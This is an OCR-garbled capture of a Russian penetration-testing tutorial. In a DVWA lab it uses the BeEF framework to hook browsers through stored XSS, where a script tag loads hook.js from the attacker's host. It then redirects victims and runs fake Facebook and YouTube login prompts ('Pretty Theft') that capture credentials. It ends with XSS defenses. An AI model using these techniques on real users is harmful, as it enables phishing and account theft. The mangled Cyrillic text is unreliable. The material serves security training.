£+ Most Visited | Offensive Security S, Kali Linux "% KaliDocs % KaliTools % Exploit-DB W Aircrack-ng gl Kali Forums % NetHunter “& Kali Training »
¥ BeEF 047.1.apha | Submi Bug | Logout

Current Browser

Raw JavaScript

Description: This module wil send the code entered in the "JavaScript Code’ section to the selected
hooked browsers where it will be executed. Code is run inside an anonymeous function and
the return value is passed to the framework. Multiine scripts are allowed, no special
encoding is required

Id: 127

Javascript alert{BeEF Raw Javascript);
Code:

|  Execute |

Monyymm BOT TakoM BbiBOA, Ha MawunHe Windows 7 Home:
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@ Damn Yulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55) - Windows Internet Explorer [= = | =

@ v |§. http://10.0.2.7/dvwa/vulnerabilities/xss_s/ "| B | + | X | | )’ Bing e -
<= WzBpaHHoe o PexomeHgyemele y3nel « Konnekuwn seb-bparm... «
10 Vsbp = el ) y e p

@l 3amn Vulnerable Web App (DVWA) v1.0.7 :: Vuln... % ~ B ~ [ d=m v Crpanmua~ Besonaciocrs v Cepemc~ (@~

V| Cootuermececs-cpanis ESlh ] Cross Site Scriptin:

Instructions | []
BeEF Raw Javascript
Setup

| - I

Home |

Brute Force

Command Execution

CSRF

:
— |

File Inclusion
SQL Injection
SQL Injection (Blind)

MName: test
Message: This is a test comment.

Upload Name: alert("Stored X3S") =

4 [l | 3

€D Vintepret | 3awmienHeli pesim: BK. d v HI100%

o © € 4 eEEn

{: = £ =i {3 @ [ Npasbiii Ctrl

MpoaoKMM paccMmaTpuBaTb KOMaHAbl, U A XoTen bbl NOKa3aTb, Kak Aenatb
pPeanpPEKTbI Ha N0bYIo CTpaHuLy Beb-b6pay3epa. ITa KOMaHAa HasbiBaeTcA
«Redirect Browser». OHa N0o3BO/MT NepeHanpaBuTb bpaysep Ha ntobylo Beb-
CTPaHULY, KaKyto 3aXoTuTe:



BeEF Control Panel - Mozilla Firefox e O
BeEF Control Panel x |+
<« c @ @ 127.0.0.1:3000/uifpanelid=1L8IFqDOVkoV1IY0eu0gqSzOiVCEFO B | = @ || Q Search In @ =
£+ Most Visited [Jl] Offensive Security % KaliLinux S Kali Docs ", KaliTools = Exploit-DB W Aircrack-ng g Kali Forums S NetHunter % Kali Training »
W BeEF 0.471apha | Submit Bug | Logout
Hooked Browsers Getting Started Logs Zombies Current Browser
4 =5 Online Browsers
45910024 Details Logs Commands Proxy XssRays Network
&M 710024 Module Tree Module Results History Redirect Browser
4 5 Offline Browsers
45910027 redirect id«  date label Description:  This medule will redirect the selected hooked browser to the address specified in the
o 45 Browser (3) "Redirect URL" input.
@ 0@ ?wo2s The results from executed command
455 Hooked Domain (3) modules will be listed here. & 59
& Redirect Browser
W Redirect Browser (Rickrd Redirect URL: htip:/beefproject.com/
¥ Redirect Browser (iFram;
455 Debug (1)
Test HTTP Redirect
Execute

< I >

Basic || Requester & Ready

3TOT METO/, UCNO/b3YETCA B OTPOMHOM KOIMYECTBE CUTyaLuii. Hanpumep, HYXHO
OTNpPaBUTb NONb30BaTENA Ha NOAAENbHYIO CTPAHULY aBTOPU3aLUMN.

Moskem HanucaTb Ntoboli agpec Beb-caiiTa, rae B 4aHHOM ciyyae byaet
«http://beefproject.com/». -mem KHoNKy «Execute»:



http://beefproject.com/

BeEF Control Panel - Mozilla Firefox

(- O]
BeEF Control Panel x |+

(&)= @ & ® 127.0.0.1:3000/ui/panel#id=1LBIFgDOVkoV1lY0eu0gqSzOiVC 8O B |- @ || Q search I @

»

£* Most Visited [ Offensive Security N KaliLinux % Kali Docs ", KaliTools % Exploit-DB Wy Aircrack-ng g Kali Forums S, NetHunter “ Kali Training

# BeEF 047.1apha | Submi Bug | Logout
Hooked Browsers

Getting Started ®/ Logs Zombies Current Browser
[Z7] Online Browsers
4 5 Offfine Browsers Details Logs Commands Proxy XssRays Network
41310027 Module Tree Module Results Histary Redirect Browser
@ 5 @ ?wo02s . ;
EWME 7 redirect id « | date label Description: This module will redirect the selected hooked browser to the address specified in the
£ 10024 ‘Redirect URL' input.
4 (£ Browser (3) o 2019-06-0505:53  command 1
4 =5 Hooked Domain (3) 1 50
@ Redirect Browser
@ Redirect Browser (Rickr{ Redirect URL: hitp:/beefproject.com/
@ Redirect Browser (iFram,
4 {3 Debug (1)
Test HTTP Redirect
< I >
Basic Requester (&) Ready

MNepexoanm Ha mawnHy Windows 7 Home, n BugmMm peamnpexT:



dain Mawwusa Bwo Beopn YcTpohctea Cnpabka

@ BeEF - The Browser Exploitation Framewerk Project - Windows Internet Explorer 5 E\@

@Q - | @ https://beefproject.com/ ~ g | ] |4"f| b 4 | 52 Bing P ~|
i Vsbpantoe | 55 | Pexomengyembie yznel v @ | Konnekuua sef-dparm.. v

| g2 BeEF - The Browser Exploitation Framewark Project | o~ ~ (] @ v Crpanmua~ besonacHocts » Cepanc v @~

| »

m

—eEF

THE BEROWSER EXPLOITATION FRAMEWORK PROJECT

GitHub source Control [ Bug Reporting [ Blog wiki [ twiter Y voutube [ Lin

. - :
What is BeEF~ _ Hooked Browsers Get
BeEF is short for The Browser Exploitation Framework. It is a <3 (_)-nlme SN I Det
penetration testing tool that focuses on the web browser. 41310.211.55.10

@K @ 10211552 =)=

Amid arowinno concerns about web-horne attacks anainst
[l i | 3

.| MNoToso & & Wrreprer | 3awmiennii peskum: sk, dy v W100% -
el o = ¢ 4 TN
C uSmJ o E S Bl O o g6omo ™

G e A5 = R R ) Nnaskii Crel
Ncnonb3ynte n TeCTUpynTe pasHbie KOMaHAbl, HA Pa3HbIX MallMHaXx.
Ycnexos Bam B TeCTUpOBaHMN.
13.0 BeEF — YroHsem naponu c nomoLuybto ¢peiKoBoi aBTOpU3aLUN.

[aBaliTe pacCMOTPUM OAMH UHTEPECHbIM NapamMeTp, KOTOPbIN Ha3biBaeTca «Social
Engineering»:
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& C @

£+ Most Visited [Jfil Offensive Security % KaliLinux & KaliDocs "\ KaliTools & Exploit-DB Wy Aircrack-ng gl Kali Forums ", NetHunter % Kali Training

Hooked Browsers
4 {5 Online Browsers
4310027
& B 710024
4 () Offiine Browsers
257910027
@02 710025

Basic Requester

x |+

BeEF Control Panel - Mozilla Firefox

e 0o

Getting Started Logs
Details Logs Commands
Maodule Tree
Search
(=] Browser (56) ~
» [_]Chrome Extensions (6)
[_71Debug (8)
(7] Exploits (108)
» [_JHost (24)
(CJIPEC (3)
[ Metasploit (1)
> [ Misc (18)
(*7] Metwork (21)
(2] Persistence ()
sl LPhonegap (16)

.4 7 Social Engineering (24)
User Interface Abuse (IE]
Clickjacking
Clippy
Fake Flash Update
Fake Notification Bar
Fake Notification Bar (Chf
Fake Notification Bar (Fir
Fake Notification Bar (IE)’
Google Phishing
HTA PowerShell
Replace Videos (Fake Pl
Simple Hijacker
SiteKiosk Breakout
TabNabbing
@ Fake Evernote Web Clipf .,
o
5 =

® 127.0.0.1:3000/ui/panel#id=1L8IFgDOVkoV1IYDeu0gqSzOiVC Bf0

Zombies

Proxy XssRays Metwork

Module Results History

id+  date

#= Mozilla Firefox seems slow... to... start.

3710 paboTaeT cneayOWMM 06PA3OM: MPOUCXOAUT NPUTNYLLUEHNE SKPAHA, U
NoABNAETCA yBEAOMIEHMNE O 3aBEPLLUEHUM CECCUMN, N NOCNEAYIOW NN BXO, B
aKKayHT ANs ayTeHTUPMKauMK. 3To No3BOAUT 060MnTH, K npumepy «HTTPS», n Bcto
6e30nacHOCTb, KOTOPAs UCMOAb3YETCA HAa CTPAHULLAX AaKKAyHTa LEenu.

[lonycTum, Ham HY*KHO MOJIY4UTb NOTUH M Naponb oT Facebook, 1 060MnTK 3awwmnTy,
KOTOPYIO OH UCNOAb3YyeT. B 06Lem, cyTb B TOM, YTO Mbl cO34aeM GENKOBYHO

CTpaHULY aBTOpM3aLUN.
MNepenaem K AeMOHCTpaUumM 3Toro metoaa. lNepenaem Ha BKNaaKy «Pretty Theft»:

label

E]

s @ 7 | Q Search

I e

% BeEF 0.47.1apha | Submit Bug | Logout

Current Browser

Learn How to Speed It Up H Don‘t Tell Me Again |x
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x|+

BeEF Control Panel - Mozilla Firefox

0o

® 127.0.0.1:3000/ui/panel#id=1L8IFqD OVkoV1IY0eu0gqSzOiVCafo

B

e @ vr| | Q Search I @

£+ Most Visited [ Offensive Security “& KaliLinux " Kali Docs ', Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums & NetHunter ' Kali Training

Hooked Browsers
4 =5 Online Browsers
4910027
& WME 910024
4 7 Offiine Browsers
45910027

@ 0 @ 7 w025

Basic Requester

Getting Started x| Logs
Details Logs Commands
Module Tree
Search
> ([ Persistence (8)
» (L] Phonegap (16)
4 3] Social Engineering (24)
User Interface Abuse (IE
@ Clickjacking
@ Clippy
& Fake Flash Update
& Fake Notification Bar
& Fake Notification Bar (C
& Fake Notification Bar (Fir
& Fake Notification Bar (IE)|
& Google Phishing
0 HTA PowerShell
@ Replace Videos (Fake P
& Simple Hiacker
@ SiteKiosk Breakout
& TabNabbing
@ Fake Evernote Web Clipy
@ Fake LastPass
@ Firefox Extension (Binds
@ Firefox Extension (Dropy
@ Firefox Extension (Reves
amiuf Download

doress Bar (data
@ Steal Autocomplet
@ Text to Voice: ™
I

© Ready

# Mozilla Firefox seems slow... to... start.

Zombies
Proxy XssRays Network
Module Results History
id ~  date label

The

mod

& BoEF 047.1apha | Submit Bug | Logout

Current Browser

Pretty Theft

Description:
Id:

Dialog Type:
Backing:

‘Custom Logo
(Generic only)

Asks the user for their username and password using a floating div.
295
Facebook 7
Grey v
hitp:/0.0.0.0:3000/ui/mediaimagesibeef.png

| Execute

| Learn How to Speed It Up ‘ ‘ Don't Tell Me Again

CnpaBsa B OKHe Bblbupaem B «Dialog Type», coumanbHyto ceTb «Facebook».
TyT MmoXKHO BbIBpaThb LBET poHOBOM 3aanBKMK, n Custom Logo.
Kmem KHonKy «Executen:

»

X
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‘€ Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Ihndms Internet Explorer [ |[Ee]

@ O - |@, http://10.0.2.7/dvwa/vulnerabilities/xss_s/ "| bt |*"f | X | |}’3 Eing pe "|

{‘? Wz6pannoe | ‘5:,5 £ | Pexomergyemble yanel * @ | Konnekuwa seb-gparm...

/€& Damn Vulnerable Web App (DVWA) v1.0.7 : Vuln... ‘& A > 3 @a‘l v Crpanmuya v Besonachocte v Cepeunc » @"

Facebook Session Timed Out

Your session has timed out due to inactivity.

Please re-enter your username and password to login,

Email:|

Password: |

l 1 | 3

e WHTEpHET | 3aLUMLLEHHBIR PEXAM: BN, dy v W100% -

@ - O & C ¥4 e

Boks s E@@@I‘Ipaﬂblﬁcm

Kak Bnanm, Hac nepebpacbiBaeT, Ha CTpaHMLUy aBTopm3auunm Facebook.
A BBe4y Npoun3BObHbIE NOTMH M Naponb: Timcore, Timcore.
Mepegem Ha Hawy mawmnHy Windows 7 Home:
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£+ Most Visited [Jl] Offensive Security "% Kali Linux & Kali Docs “& Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums % NetHunter “ Kali Training

Hooked Browsers

45 Online Browsers
45910027

& W= 10024

4 5 Offine Browsers
45910027

Basic

@0 @ ? w025

Requester

x

+

BeEF Control Panel - Mozilla Firefox

e

@ 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1lY0eu0gqSzOiVC8fO:

Getting Started Logs
Details || Logs | Commands
Module Tree
Search
b ] Misc (18) ~

> £ Network (21)

[ Persistence (9)

» (2] Phonegap (16)

4 5 Social Engineering (24)

User Interface Abuse (IE

@ Ciickjacking
@ Clippy
@ Fake Flash Update
@ Fake Notification Bar
& Fake Notification Bar (Cl
& Fake Notification Bar (Fir
@ Fake Notification Bar {IE)
& Google Phishing
& HTA PowerShell
& Replace Videos (Fake P
@ Simple Hijacker
@ SiteKiosk Breakout
& TabNabbing
@ Fake Evernote Web Clipy
@ Fake LastPass
@ Firefox Extension (Binds!
@ Firefox Extension (Drop)
@ Firefox Extension (Rever
@ Lcamtuf Downioad
@ Pretty Theft
@ Spoof Address Bar (data|
@ Steal Autocomplete
@ Text to Voice w

© Ready

Zombies
Proxy XssRays Network
Module Results History
id « date label

o 2019-06-06 05:47

command 1

B |« @ 9| Q Search

Current Browser

Command results

il
data: answer=timcore:timcore

Re-execute command

N @

¥ BeEF 047.1-apha | Submit Bug | Logout

Thu Jun 06 2019 05:49:21 GMT-0400 (EDT)

»

KaKk BuauTe, N10rMH 1 Naposb, KOTOPbINM A BBEA, OblNM NepexBayeHbl.
3TOT MeToA, Ha CaMOM Zle/1le, MOYKHO UCMONb30BaTb A/ YTOHA Pa3/IMYHbIX
aKKayHTOB, Hanpumep, YouTube:
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BeEF Control Panel - Mozilla Firefox
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® 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1IY0eu0gqSzOiVCEfOx

£+ Most Visited [JJl] Offensive Security " KaliLinux ' KaliDocs % KaliTools  Exploit-DB W Aircrack-ng

Hooked Browsers
4 5 Online Browsers
4910027
& WM 710024
4 5 Offline Browsers
45510027
@053 ? w025

Getting Started xI[" Logs

Details Logs Commands

Module Tree

Search
b £ Misc (18) B
[ (£ Network (21)
b (0] Persistence (%)
1> C] Phonegap (16)
4 () Social Engineering (24)
. User Interface Abuse (IE
@ Clickjacking
@ Ciippy
& Fake Flash Update
& Fake Notification Bar
& Fake Notification Bar (Cl
@ Fake Notification Bar (Fir|
& Fake Notification Bar (IE)|
@ Google Phishing
@ HTA PowerShell
@ Replace Videos (Fake Pl
@ Simple Hijacker
& SiteKiosk Breakout
& TabNabbing
@ Fake Evernote Web Clipy
@ Fake LastPass
@ Firefox Extension (Bindsl
@ Firefox Extension (Dropy
@ Firefox Extension (Rever
@ Lcamtuf Download
@ Pretty Theft
@ Spoof Address Bar (data
@ Steal Autocomplete
@ Text to Voice i~
Basic

& Ready

Requester

B | - 7| | Q Search [\ En]
il Kali Forums ' NetHunter ', Kali Training
# pecr 0.4.7.1-apha | Submit Bug | Logout
Zombies Current Browser
Proxy XssRays Metwork
Module Results History Pretty Theft
id « date label Description: Asks the user for their username and password using a floating div.
0 2019-06-06 05:47 command 1
Id: 285
|1 2019-06-0605:53 command2 |
Dialog Type: | YouTube =
Backing: Grey -
Custom Lego | hitp:#0.0.0.0:3000/ui/media/images/beef.png
(Generic only)
| Execud

mem KHonKy «Execute» n nepexogmMm Ha mawmHy Ha Windows 7 Home:

»
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(5
/€ Damn Vulnerable Web App (DVWA) +1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55) - Windows Internet Explorer El
@ O L |@, http://10.0.2.7/dvwa/vulnerabilities/xss_s/ "| ] |"T | A | |}’3 Bing - v|

{‘? WzBpantoe | {5 £ | Pexomergyemeble yanel * @ | Konnekuwa seb-gparm...

/& Damn Vulnerable Web App (DVWA) v1.0.7 : Vuln... @ hd > Eéé ~ Crpanuuya v BesonacHocte v Cepeuc + @'

Session Timed Out

our session has timed out due to inactivity.

Pleaze re-enter your username and password to login.

Username:

Password:

l m | 3

loToBD €0 Vinepret | JalmienHeii pesm: Bl fg v ®100% -

el O &g € ¥ @RIy

{2 & 1= iR {3 @ &) Npaswii Ctrl

Jlorotnn, KOHEYHO, KPUBO OTOBPA3UACSA, HO TEM HE MEHEE, }KEPTBA MOXKET NPOCTO
He 6bITb 64MTENbHOM, U BBECTU NOTUH M NAPOb.

Beegem norvH 1 naponb: Timcore, Timcore:



. ®ain Mawwusa Bwupop Beop Ycrpoictea Cnpaeka

‘& Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55) - Windows Internet Explorer, = =[5

1aF

@ O L 4 |§, http://10.0.2.7/dvwa/vulnerabilities/xss_s/ v| L |‘f| X | |p Bing 2 'l
f_? Mz6panHoe | {5 €| Pexomergyemble ysnel v @ | Konnekuwa eeb-dparm.. «
@ Damn Vulnerable Web App (DVWA) v1.0.7 2 Vuln... ﬁ g > 3 EQQ v Cipanuua v besonacHocte = Cepeuc v @'

Session Timed Out

“our session has timed out due to inactivity.

Pleaze re-enter your username and password to login.

Username:  Timcore

Password: sssssss

< i |
loToBO € WhrepHet | 3anLLerHsIi pekam: Bi. fy v WI10% -

= O o C ¥ € TR

B e o =i 4 @ @ Npasbiii Ctrl

Mepexoanm B mawwmnHy Ha Kali Linux, B Beef Framework:



BeEF Control Panel - Mozilla Firefox (- O]

BeEF Contral Panel x |+

&« c @ 127.0.0.1:3000/ui/panel#id=1L&8IFgDOVkoV1lY0euOgqSzOiVCafi 8|9 Search N 0
£+ Most Visited [l Offensive Security %, KaliLinux %, KaliDocs "%, KaliTools = Exploit-DB W Aircrack-ng g Kali Forums “ MetHunter %, Kali Training

? BeEF 0.4.7.1-apha | Submit Bug | Logout

Hooked Browsers
4 ) Online Browsers
45910027 Details Logs Commands Proxy XssRays Network

Getting Started Logs Zombies Current Browser

& ME 710024 Module Tree Module Resuits History Command resuts

4 () Offiine Browsers - | S Al Thu Jun 0 2019 05:59:10 GMT-0400 (EDT)
45310027 — data: answer=Timcore Timcore
@ DE 7 wozs > [ Misc (18) ~ll0  2019-05-060547 command 1

+ [ Network (21) 1 2019.06.0605:53 _command 2

(Jpersistence (9) I 2 201906060555 command3 I
» [_] Phonegap (16)

4 = Social Engineering (24)
User Interface Abuse (IE
Clickjacking
Clippy
Fake Flash Update
Fake Notification Bar
Fake Notification Bar (Chj
Fake Notification Bar (Fir
Fake Motification Bar {IE)
Google Phishing
HTA PowerShell
Replace Videos (Fake Pi
Simple Hijacker
SiteKiosk Breakout
TabNabbing

@ Fake Evernote Web Clipy
@ Fake LastPass

@ Firefox Extension (Binds!
@ Firefox Extension (Dropy

@ Firefox Extension (Rever|
@ Lcamtuf Download
@ Pretty Theft
@ Spoof Address Bar (data
@ Steal Autocomplete
@ Text to Voice ~
< I ¥ Re-execute command

Basic Requester & Ready

I'Ionyqaerv\ NNOr'MH U Naposb.

3TO AOCTAaTOYHO XOPOLLMIA CNOCOD NOMYYEHUA AOCTYNa K aKKayHTaMm, Tak KaK Mbl
3aCTaB/iAeM ero NPou3BeCTN BBOA 0TMHA 1 napona. Takum obpasom, Bbi
nosly4ynTe 3TU AaHHble, 6e3 ocoboro Tpyaa.

14.0 be3zonacHocTb — Ucnpasnaem yassumoctu XSS.

PaccmoTpum BONPOC TOrO, KaK Mbl MOXKeM NpeaoTBpaTuTb ya3BMMOCTU XSS. Kak
TO/IbKO NO/b30BaTe/lb BBOAUT YTO-IMO0 HA CTpaHMLE B TEKCTOBOE Noae Nan
napameTp. ITOT TeKcT nepesoauntca B HTML. MHbiIMK cnoBamu, OH CTAaHOBUTCA
YacCTbio CTPaHULbI, M €Cnun ecTb Kog, JavaScript, To Kog 6yaeT BbINONHATLCA.

Y106bI NPEAOTBPATUTL STOT IKCNNOMT, HYKHO NONPO60BaTb MUHUMU3IMPOBATD
MCNONb30BaHME NONEN BBOAA, U KaXKAblM pa3, Korga YTto-To BBOAUTCA Yepes
napameTpbl, HYXXHO MPOCTO MUHUMMU3UPOBATb. TaKXKe HYXKHO 3aMeHATb TOo, YTO
ncnonb3syetca Ha gaHHoW HTML- ctpaHuue. XSS morkeT 6bITb BHEAPEH HE TONbKO B
TEX MeCTaXx, r4e TEKCT BbIBOAMTCA Ha CTPAHULLY, HO OH TaKXKe MOXKeT bbITb
nepeaaH NapameTpom HeKoTopbIx asiemeHToB HTML-cTpaHuupl. Hy»KHO
KOHBEPTMPOBATb 3TM CUMBO/Ibl, YTOObI M36EXKaTb BHEAPEHME KOAA.

[laBaitTe NONpPaKTUKYeMCA U PaCCMOTPUM HarAaaHbIe NPpUMepPbl 6€30NacHOCTU.



MNepenagem Ha cTpaHU4UKy Stored XSS, rae mbl yBUAMM BCN/blBalOWME OKHA:

Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (- IO ~ )
BeEF Control Panel X | = Damn Vulnerable Web /4 X |+
((9 - X @ | ® 10.0.2.7/dvwalvulnerabilities/xss_s/ 7| | Q search n @)=

£¥ Most Visited [l Offensive Security  KaliLinux “\ KaliDocs “\ Kali Tools # Exploit-DB W Aircrack-ng g Kali Forums "\ NetHunter '\ Kali Training @ Getting Started

Stored XSS

Waiting for 10.0.2.7...

Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox e ® 0
BeEF Control Panel X | = DamnVulnerable Web /A X |+
((—) - X @ ‘ ® 10.0.2.7/dvwa/vulnerabilities/xss_s/ ee ﬁ" ‘ Q Search m @o =

%¥ Most Visited Jf Offensive Security ' KaliLinux '\ KaliDocs “\ Kali Tools @ Exploit-DB Wy Aircrack-ng g Kali Forums “\ NetHunter '\ Kali Training @ Getting Started

Stored XSS 2

[_IPrevent this page from creating additional dialogs

[anee Hy*KHO BbIOpPaTb 3aNMUCb B rOCTEBOM KHUrE. Y MeHs 3To «Timcore»:



Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XS5) - Mozilla Firefox e ® 0

BeEF Control Panel x ‘ [®] Damn Vulnerable Web /. x ‘ +

&« cC o @ 10.0.2.7/ vulnerabilities/xss_s/ B | » @ ¢ || Q search N @
£+ Most Visited [J|ll Offensive Security "\ KaliLinux "% Kali Docs i Kali Tools # Exploit-DB W Aircrack-ng i Kali Forums ', NetHunter S Kali Training @ Getting Started
‘Command Execution
CSRF | sign Guesthook |
File Inclusion
SQL Injection
SQL Injection (Blind) Name: test
Message: This is a test comment.
Upload
Name: alert("Stored XSS")
% Message: test
DVWA Security
Name:
e Message: test

Name:
Message: test

About
Logout
Name: Timcore
Message:
& L1 Inspector Console [ Debugger  {} StyleEditor (G Performance Rk Memory = Network [ Storage B Eeoe x
—+ Search HTML £ Rules  Computed Layout  Animations Fonts
Filter Styles + B s
element { inline &
> |
div#guestbook_comments { main.css:239
<h2>More info</h2> width: 45%;
<ul=(=)</ul> background-color: #fgfafa;
B . . . : . . border-width: b 1px;
html » body.home » divicontainer » divifmain_body » div.body_padded > divitguestbook_comments border-style: b solid; .

PaccmoTpum 6onee BHMMaTenbHee 3ToT Kog,. OTKkpoem Ter <div>, U yBuamMm none
«Name», n none «Message»:

[ | 3 Inspector } Console [ Debugger {} StyleEditor (& Performance {1k Memory = Network & Storage BEB®0oe x
—+ Search HTML 4 Rules  Computed Layout  Animations  Fonts
<div ld:"guestbook:(omments">w:w</div> “ FitterStytes + I.F"?r‘ A
<div id="guestbook comments">()</div> element { miiwe ~
v <div i uestbook comments"> }
div#guestbook comments { main.css:239
Message: width: 45%;
< ="http://10.0.2.7:3000/hook.js"></ background-color: #f8fafa;
<br> border-width: b 1px;
I OEYES border-style: b solid;
<div id="guestbook comments">(J</div> bordgrrcolor: #C0COCO;
<br> - padding: b 5px 10px 5px 10px;
<h2>More info</h2> ) margin-bottom: 5px;
<ul>=</ul>
</div= Inherited from divimain_body
<br> div#main_body { main.css:141
<Pr> v font-size: 13px;
html » body.home > divcontainer » divitmain_body » div.body_padded > divitguestbook_comments ! .
lebosiiod i :

CMbICN B TOM, YTO Ka*KAblM pas, NpU OTKPbITUKM 3TOM CTPaHMLbI, Ko JavaScript
BbINO/IHAETCS pPa3 32 Pa3oM.

K cnhoBy cka3aTb, napameTp «id», B Tere <div>, He oTobparkaeTca Ha CTPaHULE, HO
XaKepbl MOTYT NOMbITaTbCA MCMO/Ib30BaThb 3T NapPaMeTPbl, a TaKXKe Apyrve Teru
(«<img», «srcy, «url»), ana nposeaeHUsA 3TOM aTaku.

Ham Hy»XHO ¢unbTpoBaThb, TO, YUTO BBOAAT NONAb30BaTENN, B 3KBMBaANeHT HTML.
Ecnm B3AaTb HarnAaHbIM NpUMmep, C BHeAPEHHbIM CKPUMNTOM:



¥ Most Visited [JJll Offensive Security " KaliLinux S KaliDocs % KaliTools = Exploit-DB W Aircrack-ng gl Kali Forums S NetHunter “ KaliTraining & Getting Started

‘‘‘‘‘‘‘ e e
DVWA Security

Name:
PHP Info Message: test

ed » diviiguestbook_comments ’

html » body.home » divicontainer » divi#main_

B ntore mbl nony4ymMm gaHHbIN CKpUNT B none «Message» Ha cTpaHuue, 6e3
BO3MOKHOCTM BbINO/IHEHUS.

[aBaliTe A U3MEHI0 HAaCTPOMKK Be3onacHoCTU Ha «high», «BbICOKMEY:

Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox [ O]

BeEF Control Panel X | [@ Damn Vulnerable Web A X ‘+

Damn Vulnerable Web App (DVWA)v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox (- IO -]
BeEF Control Panel X | [® Damn Vulnerable Web /X ‘ aF
&« [ ® 10.0.2.7/dvwafvulnerabilities/xss_s/ B | = @ 7| Q Search N O =

About
Logout
Name: Timcore
Message:
More info
) -
[ | L3 Inspector | Console [ Debugger {} StyleEditor (g, Performance  {k Memory = Network [ Storage BEHB®Oe X
+ Search HTML & Rules Computed Layout Animations Fonts.
<div id="guestbook comments"s(=</div> - Filter Styles + B, s
<div id="guestbook comments">(-]</div> element { 11{119 @
w<div id="guestbook comments"=> N
Name: Timcore
<br> div#guestbook comments { main.css:239
Message: width: 45%;
< ="http://10.0.2.7:3000/hook.js" ] background-color: #fgfafa;
=br> border-width: b 1px;
</div> border-style: p solid;
<div id="guestbook comments">(-]</div> bo rdgrr(cﬂ.mr: #coceco;
<brs - padding: b 5px 10px 5px 10px;
<h2>More info</h2> , margin-bottom: 5px;
<ul==)</ul>
</div> Inherited from divimain_body
<br=> div#main_body { main.css:141
<br> o font-size: 13px;

&« c @ ® 10.0.2.7/dvwaj/security.php B | = @ || search In @0
£¥ Most Visited [l Offensive Security ™ KaliLinux S KaliDocs ', KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums Sy, NetHunter “ Kali Training @& Getting Started

Home DVWA Security *
Instructions
Setup Script Security

Security Level is currently high.

Brute Force

You can set the security level to low, medium or high.
Command Execution

The security level changes the vulnerability level of DVWA.
CSRF |
File Inclusion | ‘ B H submit_|
SQL Injection
SQL Injection (Blind) PHPIDS
Upload

v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications

XSS reflected

You can enable PHPIDS across this site for the duration of your session.
XSS stored

PHPIDS is currently disabled. [ ]

ovwa security [ It I
PHP Info

About
Security level set to high

Logout

Username: admin

Security Level: high

>

Morkem nepentn Ha cTpaHuuy «Reflected XSS», pasHuULbI HUKAKOW HET, M BBEAEM
HaLL CKPUNT, KOTOPbIA Mbl TECTUPOBA/IN YKe:



BeEF Control Panel

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox

I

c @

X | [ DamnVulnerable Web 2 X

+

(© 10.0.2.7/dvwa/vulnerabilities/xss_r/?name=<ScriPT>alert("X55")<%2FScRipt>#

e @ 1¥ || Q Search

¥ Most Visited [l Offensive Security “ Kali Linux “ KaliDocs “ KaliTools ® Exploit-DB Wy Aircrack-ng gl Kali Forums “ NetHunter “ KaliTraining & Getting Started

Home

Instructions

Setup

Brute Force

‘Command ‘

o)

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

\ Submit \

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS stored

DVWA Security
PHP Info
About

Logout

Username: admin

I Hello <ScriPT=alert("Xss")</ScRipt> I

More info

View Source | View Help

[\ ]

Se:urin Level: high

Kak Buaunm, BbIBOA NPOXOAMUT, Kak 0ObIYHbIN TEKCT, U HET UCMOAHAEMOro KOAa.

[aBaiiTe NOCMOTPUM Ha UCXOAHMKM 3TOM CTPAHULbI, Ha Hall CKPUAT:

BeEF Control Panel

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Reflected Cross Site Scripting (XSS) - Mozilla Firefox

<« c @

£+ Most Visited [Jll Offensive Security " KaliLinux “ KaliDocs “ Kali Tools # Exploit-DB Wy Aircrack-ng g Kali Forums “s, NetHunter %, Kali Training @ Getting Started

x ‘ [®] Damn Vulnerable Web / X | +

® 10.0.2.7/dvwafvulnerabilities/xss_r/?name=<ScriPT>alert("XS5")<%2FScRipt>#

s @ | Q Search

Home VUInerapinty. eliiecieu Lruss oile SCIIpuUnyg (Aso)
Instructions
Setup What's your name?
Submit
Brute Force
8 |l |
CSRF
File Inclusi .
[Filemnalusion | pore info
@ {3 Inspector Console [ Debugger  {} StyleEditor (G Performance fk Memory = Network & Storage
+ Search HTML Va Rules Computed
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.8 Strict//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml1- FitterStyles
strict.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml"> element {
= ]
< ®
<body class="home"> pre {
color: @ red;

<div id="container">

<div id="header"=(D</div=
<div id="main_menu">(-)</div>

<div id="main_body">

<div class="body_padded">

<hl>=</hl>
<div clas
orn

"vulnerable_code

<pre>Hello <ScriPT=alert

</div>

<h2>More info</h2>

html > body.ho

U

ne

divitcontainer

divitmain_

ed > div.vulnerable

yadd

2_area

n &

v

BEEHESO&S X

Layout

Inherited from div#main_body

div#main_body
font-size:

]

{
13px;

Inherited from div#container

div#container

fert—sizer—13pxs

v}

{

pre Inherited from body

Animations Fonts
—+ Fl?:] «cls
inline 2

main.css:257

main.css:141

main.css:118

Ha ﬂepBbIVI B3MAA4 KaxXeTcAa, 4HToO MHbEKUNA NMpoL/ia yCrneLwHo. Ha camom pene sce
He TaK, N Tern aKpaHNpyrTCA B crneunasaibHble CUMBO/1bI.

Bce, 6narogaps ¢yHKummn «htmlspecialchars». MocmoTpmMm Ha UCXOAHUKM, C
